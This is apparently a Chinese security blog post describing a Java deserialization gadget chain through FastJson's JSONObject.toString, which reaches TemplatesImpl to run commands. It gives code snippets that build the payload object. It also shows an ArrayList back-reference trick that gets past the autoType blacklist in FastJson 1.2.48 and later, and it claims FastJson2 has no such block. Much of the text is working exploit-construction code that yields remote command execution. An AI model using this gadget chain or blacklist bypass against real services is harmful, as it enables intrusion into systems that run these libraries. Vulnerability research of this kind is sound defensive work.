前言 555,学习。
FastJson 使用1.2.47版本的FastJson作为测试环境,一切的源头始于一个继承了Serializable接口,并且还是FastJson反序列化流程关键类的JSONObject,通过反序列化BadAttributeValueExpException、XString或者PropertyKey等类可以触发其toString函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 @Override public String toString () { return toJSONString(); }public String toJSONString () { SerializeWriter out = new SerializeWriter (); try { new JSONSerializer (out).write(this ); return out.toString(); } finally { out.close(); } }
为了将自身化为一个String,JSONObject会使用库中的序列化器序列化自身,由于JSONObject是一个Map对象,所以会遍历并序列化其中的元素,对象序列化过程中就会触发其getter函数们。
FastJson < 1.2.48 简单生成一个测试用对象:
1 2 3 4 5 Object templates = Utils.getTemplatesPOC(cmd);JSONObject jsonObject = new JSONObject (); jsonObject.put("xx" , templates);BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); Utils.setField(badAttributeValueExpException, "val" , jsonObject);
根据调试,发现此时生成的Serializer不是常用的JavaBeanSerializer,而是使用ASM框架编写字节码特别定制的一个ASMSerializer,看起来会在_get函数中写入getter函数的调用:
1 2 3 4 5 6 7 8 9 Method method = fieldInfo.method;if (method != null ) { mw.visitVarInsn(ALOAD, context.var ("entity" )); Class<?> declaringClass = method.getDeclaringClass(); mw.visitMethodInsn(declaringClass.isInterface() ? INVOKEINTERFACE : INVOKEVIRTUAL, type(declaringClass), method.getName(), desc(method)); if (!method.getReturnType().equals(fieldInfo.fieldClass)) { mw.visitTypeInsn(CHECKCAST, type(fieldInfo.fieldClass)); } }
该测试用对象经序列化、反序列化后可以正常触发命令执行。
FastJson >= 1.2.48 将环境下的FastJson换成1.2.83版本的,会发现FastJson反序列化时触发了黑名单:
1 2 com.alibaba .fastjson .JSONException : autoType is not support. com.sun .org .apache .xalan .internal .xsltc .trax .TemplatesImpl at com.alibaba .fastjson .parser .ParserConfig .checkAutoType (ParserConfig.java :1413 )
读一下源码,可以看到JSONObject的readObject函数使用了SecureObjectInputStream作为自己的反序列化类:
1 2 3 4 5 6 7 8 9 if (SecureObjectInputStream.fields != null && !SecureObjectInputStream.fields_error) { ObjectInputStream secIn = new SecureObjectInputStream (in); try { secIn.defaultReadObject(); return ; } catch (java.io.NotActiveException e) { } }
看起来,关键的过滤函数是SecureObjectInputStream类的resolveClass函数:
1 2 3 if (TypeUtils.getClassFromMapping(name) == null ) { ParserConfig.global.checkAutoType(name, null , Feature.SupportAutoType.mask); }
作为一个Map反序列化自身元素时会应用FastJson的安全机制进行验证,但是要触发该验证机制必须要满足一个前提,那就是这个TemplatesImpl对象是通过JSONObject反序列化的,即此时内存中没有该对象,需要在此刻被反序列化。
然而在Java反序列化机制中,存在一个reference机制,可以先反序列化TemplatesImpl对象,再通过reference链接到JSONObject中。
用ArrayList简单测试一下:
1 2 3 4 5 6 7 8 Object templates = Utils.getTemplatesPOC(cmd);JSONObject jsonObject = new JSONObject (); jsonObject.put("xx" , templates);BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); Utils.setField(badAttributeValueExpException, "val" , jsonObject);ArrayList arrayList = new ArrayList (); arrayList.add(templates); arrayList.add(badAttributeValueExpException);
该测试用对象经序列化、反序列化后可以正常触发命令执行。
FastJson2 测试后发现,似乎可以直接触发,TemplatesImpl没有受到黑名单限制。
参考 从bypassit1了解POJONode#toString调用getter方法原理